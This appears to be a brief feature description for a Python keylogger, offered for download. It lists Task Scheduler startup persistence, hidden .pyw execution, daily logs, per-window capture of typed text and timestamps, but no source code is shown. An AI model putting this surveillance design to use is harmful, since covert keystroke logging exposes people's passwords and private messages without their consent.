Keylogger
Just a keylogger with python.
Features:
-Task Scheduler (windows) to run on startup.
-datetime module to make a new log file each day.
- used standard file code
-Stores each line rather than one character per line. (separates lines when enter/tab is pressed)
-Removes characters when backspace is pressed so final output is coherent.
-Displays (in the log), the window the text was typed into eg 'youtube', 'google', 'microsoft word'.
Save it as a .pyw file.
Use at own risk!
Edit 2:
The date time module we need is already imported so all we have to do is get the time.
datetime.now().strftime('%H:%M:%S') will get the time.
Change the SaveLineToFile(line) function to:
Now every time a line is saved to the file it will have for example [5:06:59] before it.
